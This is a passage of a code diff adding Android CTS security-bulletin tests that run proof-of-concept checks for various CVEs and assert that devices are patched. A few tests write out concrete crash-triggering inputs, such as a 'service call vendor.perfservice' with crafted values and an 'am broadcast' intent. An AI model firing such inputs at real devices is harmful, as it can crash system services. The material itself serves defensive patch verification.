+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_9247 extends SecurityTestCase {
+
+   /**
+     * b/120426166
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2019-09")
+    @Test
+    public void testPocCVE_2019_9247() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-9247", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
new file mode 100644
index 0000000..43632ec
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0226.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0226 extends SecurityTestCase {
+
+    /**
+     * b/150226994
+     * Vulnerability Behaviour: SIGSEGV in surfaceflinger
+     */
+    @SecurityTest(minPatchLevel = "2020-07")
+    @Test
+    public void testPocCVE_2020_0226() throws Exception {
+        String processPatternStrings[] = {"surfaceflinger"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0226", null, getDevice(),
+                processPatternStrings);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java
new file mode 100644
index 0000000..81100e6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0461.java
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeThat;
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0461 extends SecurityTestCase {
+
+    /**
+     * b/162741784
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-12")
+    public void testPocCVE_2020_0461() throws Exception {
+        assumeTrue(containsDriver(getDevice(),
+                "/sys/devices/system/cpu/vulnerabilities/meltdown"));
+        String meltdown = AdbUtils.runCommandLine(
+                "cat /sys/devices/system/cpu/vulnerabilities/meltdown", getDevice());
+        assertFalse(meltdown.startsWith("Vulnerable"));
+        assertTrue(meltdown.startsWith("Not affected") ||
+                meltdown.startsWith("Mitigation"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
new file mode 100644
index 0000000..fe42a0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assume.assumeTrue;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0462 extends SecurityTestCase {
+
+    /**
+     * b/169161709
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-12")
+    public void testPocCVE_2020_0462() throws Exception {
+        assumeTrue(containsDriver(getDevice(),
+                "/sys/devices/system/cpu/vulnerabilities/spec_store_bypass"));
+        String spec_store_bypass = AdbUtils.runCommandLine(
+                "cat /sys/devices/system/cpu/vulnerabilities/spec_store_bypass", getDevice());
+        assertFalse(spec_store_bypass.startsWith("Vulnerable"));
+        assertTrue(spec_store_bypass.startsWith("Not affected") ||
+                spec_store_bypass.startsWith("Mitigation"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
new file mode 100644
index 0000000..5248019
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0313.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0313 extends SecurityTestCase {
+
+    /**
+     * b/170968514
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2021-01")
+    @Test
+    public void testPocCVE_2021_0313() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0313", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
new file mode 100644
index 0000000..3c6d4b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -0,0 +1,23 @@
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_01 extends SecurityTestCase {
+    /**
+     * CVE-2019-14002
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testPocCVE_2019_14002() throws Exception {
+        String result =
+                AdbUtils.runCommandLine(
+                        "dumpsys package com.qualcomm.qti.callenhancement", getDevice());
+        assertNotMatchesMultiLine("READ_EXTERNAL_STORAGE.*?WRITE_EXTERNAL_STORAGE", result);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
new file mode 100644
index 0000000..bd8f3cd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_06 extends SecurityTestCase {
+
+    /**
+     * CVE-2020-3635
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testPocCVE_2020_3635() throws Exception {
+        String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+        if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+            AdbUtils.runCommandLine("logcat -c", getDevice());
+            AdbUtils.runCommandLine(
+                    "service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
+            String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+            assertNotMatchesMultiLine(
+                    "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
+        }
+    }
+
+    /**
+     * CVE-2020-3626
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testPocCVE_2020_3626() throws Exception {
+        String isApplicable =
+                AdbUtils.runCommandLine("pm list package com.qualcomm.qti.lpa", getDevice());
+        if (!isApplicable.isEmpty()) {
+            String result =
+                    AdbUtils.runCommandLine("dumpsys package com.qualcomm.qti.lpa", getDevice());
+            assertTrue(result.contains("com.qti.permission.USE_UIM_LPA_SERVICE"));
+        }
+    }
+
+    /**
+     * CVE-2020-3628
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testPocCVE_2020_3628() throws Exception {
+        String result = AdbUtils.runCommandLine(
+                "pm list package com.qualcomm.qti.logkit",getDevice());
+        assertFalse(result.contains("com.qualcomm.qti.logkit"));
+    }
+
+    /**
+     * CVE-2020-3676
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-06")
+    public void testPocCVE_2020_3676() throws Exception {
+        String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+        if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+            AdbUtils.runCommandLine("logcat -c", getDevice());
+            AdbUtils.runCommandLine(
+                    "service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
+            AdbUtils.assertNoCrashes(getDevice(), "perfservice");
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
new file mode 100644
index 0000000..627f098
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -0,0 +1,47 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_11 extends SecurityTestCase {
+
+    /**
+     * b/162741784
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testPocCVE_2020_0437() throws Exception {
+        assumeFalse(moduleIsPlayManaged("com.google.android.cellbroadcast"));
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runCommandLine(
+            "am broadcast " +
+            "-a com.android.cellbroadcastreceiver.intent.action.MARK_AS_READ " +
+            "-n com.android.cellbroadcastreceiver/.CellBroadcastReceiver " +
+            "--el com.android.cellbroadcastreceiver.intent.extra.ID 1596185475000",
+            getDevice());
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatches("CellBroadcastContentProvider: failed to mark broadcast read", logcat);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
new file mode 100644
index 0000000..711949aad
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc21_01.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc21_01 extends SecurityTestCase {
+
+    /**
+     * b/168211968
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2021-01")
+    public void testPocCVE_2021_0318() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-0318", getDevice(), 300);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
new file mode 100644
index 0000000..fe8c239
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+import java.io.File;
+import java.io.FileNotFoundException;
+
+import org.junit.runner.Description;
+import org.junit.rules.TestWatcher;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.IAbi;
+
+import static org.junit.Assume.*;
+import static org.junit.Assert.*;
+
+public class PocPusher extends TestWatcher {
+    private ITestDevice device = null;
+    private CompatibilityBuildHelper buildHelper = null;
+    private IAbi abi = null;
+
+    private Set<String> filesToCleanup = new HashSet();
+    public boolean bitness32 = true;
+    public boolean bitness64 = true;
+    public boolean appendBitness = true;
+    public boolean cleanup = true;
+
+    @Override
+    protected void starting(Description d) {
+        bothBitness();
+        appendBitness = true;
+        cleanup = true;
+    }
+
+    @Override
+    protected void finished(Description d) {
+        for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) {
+            String file = it.next();
+            try {
+                CLog.i("Cleaning up %s", file);
+                device.deleteFile(file);
+            } catch (DeviceNotAvailableException e) {
+                CLog.e("Device unavailable when cleaning up %s", file);
+                continue; // try to remove next time
+            }
+            it.remove();
+        }
+    }
+
+    public PocPusher setDevice(ITestDevice device) {
+        this.device = device;
+        return this;
+    }
+
+    public PocPusher setAbi(IAbi abi) {
+        this.abi = abi;
+        return this;
+    }
+
+    public PocPusher setBuild(IBuildInfo buildInfo) {
+        buildHelper = new CompatibilityBuildHelper(buildInfo);
+        return this;
+    }
+
+    public PocPusher appendBitness(boolean append) {
+        this.appendBitness = append;
+        return this;
+    }
+
+    public PocPusher cleanup(boolean cleanup) {
+        this.cleanup = cleanup;
+        return this;
+    }
+
+    public PocPusher only32() {
+        bitness32 = true;
+        bitness64 = false;
+        return this;
+    }
+
+    public PocPusher only64() {
+        bitness32 = false;
+        bitness64 = true;
+        return this;
+    }
+
+    public PocPusher bothBitness() {
+        bitness32 = true;
+        bitness64 = true;
+        return this;
+    }
+
+    public void pushFile(String testFile, String remoteFile)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        if (appendBitness) {
+            // if neither 32 or 64, nothing would ever be pushed.
+            assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64);
+
+            String bitness = SecurityTestCase.getAbi(device).getBitness().trim();
+
+            // 32-bit doesn't have a 64-bit compatibility layer; skipping.
+            assumeFalse(bitness.equals("32") && !bitness32);
+
+            // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist.
+            if (bitness.equals("64") && !bitness64) {
+                bitness = "32";
+                CLog.i("Pushing a 32-bit file onto a 64-bit device.");
+            }
+            testFile += bitness;
+        }
+        File localFile = buildHelper.getTestFile(testFile);
+        CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile);
+        device.pushFile(localFile, remoteFile);
+        if (cleanup) {
+            filesToCleanup.add(remoteFile);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0df41b1..2b83077 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -16,6 +16,13 @@
 
 package android.security.cts;
 
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -24,10 +31,14 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.ddmlib.Log;
 
+import org.junit.rules.TestName;
+import org.junit.Rule;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 
+import java.util.Map;
+import java.util.HashMap;
 import java.util.regex.Pattern;
 import java.util.regex.Matcher;
 import java.util.concurrent.Callable;
@@ -50,6 +61,14 @@
     private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
     private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
 
+    @Rule public TestName testName = new TestName();
+    @Rule public PocPusher pocPusher = new PocPusher();
+
+    private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
+    private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
+    private static Map<ITestDevice, String> sTestName = new HashMap<>();
+    private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
+
     /**
      * Waits for device to be online, marks the most recent boottime of the device
      */
@@ -62,6 +81,12 @@
         //     Specifically time when app framework starts
 
         oomCatcher.start();
+        sBuildInfo.put(getDevice(), getBuild());
+        sAbi.put(getDevice(), getAbi());
+        sTestName.put(getDevice(), testName.getMethodName());
+
+        pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
+        sPocPusher.put(getDevice(), pocPusher);
     }
 
     /**
@@ -103,6 +128,22 @@
         }
     }
 
+    public static IBuildInfo getBuildInfo(ITestDevice device) {
+        return sBuildInfo.get(device);
+    }
+
+    public static IAbi getAbi(ITestDevice device) {
+        return sAbi.get(device);
+    }
+
+    public static String getTestName(ITestDevice device) {
+        return sTestName.get(device);
+    }
+
+    public static PocPusher getPocPusher(ITestDevice device) {
+        return sPocPusher.get(device);
+    }
+
     // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
     // b/123237827
     @Deprecated
@@ -190,7 +231,39 @@
      * Check if a driver is present on a machine.
      */
     protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
-        return AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+        boolean containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+
+        MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
+        reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit();
+
+        return containsDriver;
+    }
+
+    protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) {
+        IBuildInfo buildInfo = getBuildInfo(device);
+        IAbi abi = getAbi(device);
+        String testName = getTestName(device);
+
+        StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace();
+        int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller
+        String className = stacktraces[stackDepth].getClassName();
+        String methodName = stacktraces[stackDepth].getMethodName();
+        String classMethodName = String.format("%s#%s", className, methodName);
+
+        // The stream name must be snake_case or else json formatting breaks
+        String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase();
+
+        MetricsReportLog reportLog = new MetricsReportLog(
+            buildInfo,
+            abi.getName(),
+            classMethodName,
+            "CtsSecurityBulletinHostTestCases",
+            streamName,
+            true);
+        reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE);
+        return reportLog;
     }
 
     private long getDeviceUptime() throws DeviceNotAvailableException {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index a43163a..80fcf24 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -18,6 +18,7 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.compatibility.common.util.CrashUtils;
 
 import android.platform.test.annotations.SecurityTest;
 import org.junit.Test;
@@ -25,6 +26,10 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+import junit.framework.Assert;
+import java.util.Arrays;
+import java.util.ArrayList;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class TestMedia extends SecurityTestCase {
@@ -41,12 +46,327 @@
      ******************************************************************************/
 
     /**
+     * b/37239013
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2017-07")
+    @Test
+    public void testPocCVE_2017_0697() throws Exception {
+        String inputFiles[] = {"cve_2017_0697.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0697",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/127702368
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2126() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2126", null, getDevice());
+    }
+
+    /**
+     * b/66969349
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2018-01")
+    @Test
+    public void testPocCVE_2017_13180() throws Exception {
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13180", null, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
+     * b/111210196
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2019-12")
+    @Test
+    public void testPocCVE_2019_2228() throws Exception {
+        String inputFiles[] = {"cve_2019_2228_ipp.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2228",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/157650336
+     * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2020-11")
+    @Test
+    public void testPocCVE_2020_0450() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0450", null, getDevice());
+    }
+
+    /**
+     * b/156997193
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2020-11")
+    @Test
+    public void testPocCVE_2020_0409() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String binaryName = "CVE-2020-0409";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/156999009
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2020-10")
+    @Test
+    public void testPocCVE_2020_0408() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String binaryName = "CVE-2020-0408";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/161894517
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2020-10")
+    @Test
+    public void testPocCVE_2020_0421() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String binaryName = "CVE-2020-0421";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/132082342
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2133() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2133", null, getDevice());
+    }
+
+    /**
+     * b/132083376
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2134() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2134", null, getDevice());
+    }
+
+    /**
+     * b/31470908
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2017-04")
+    @Test
+    public void testPocCVE_2016_10244() throws Exception {
+        String inputFiles[] = {"cve_2016_10244"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-10244",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/27793367
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2016-06")
+    @Test
+    public void testPocCVE_2016_2485() throws Exception {
+        String inputFiles[] = {"cve_2016_2485.raw"};
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-2485",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
+     * b/141890807
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2020-01")
+    @Test
+    public void testPocCVE_2020_0007() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0007", null, getDevice());
+    }
+
+    /**
+     * b/118372692
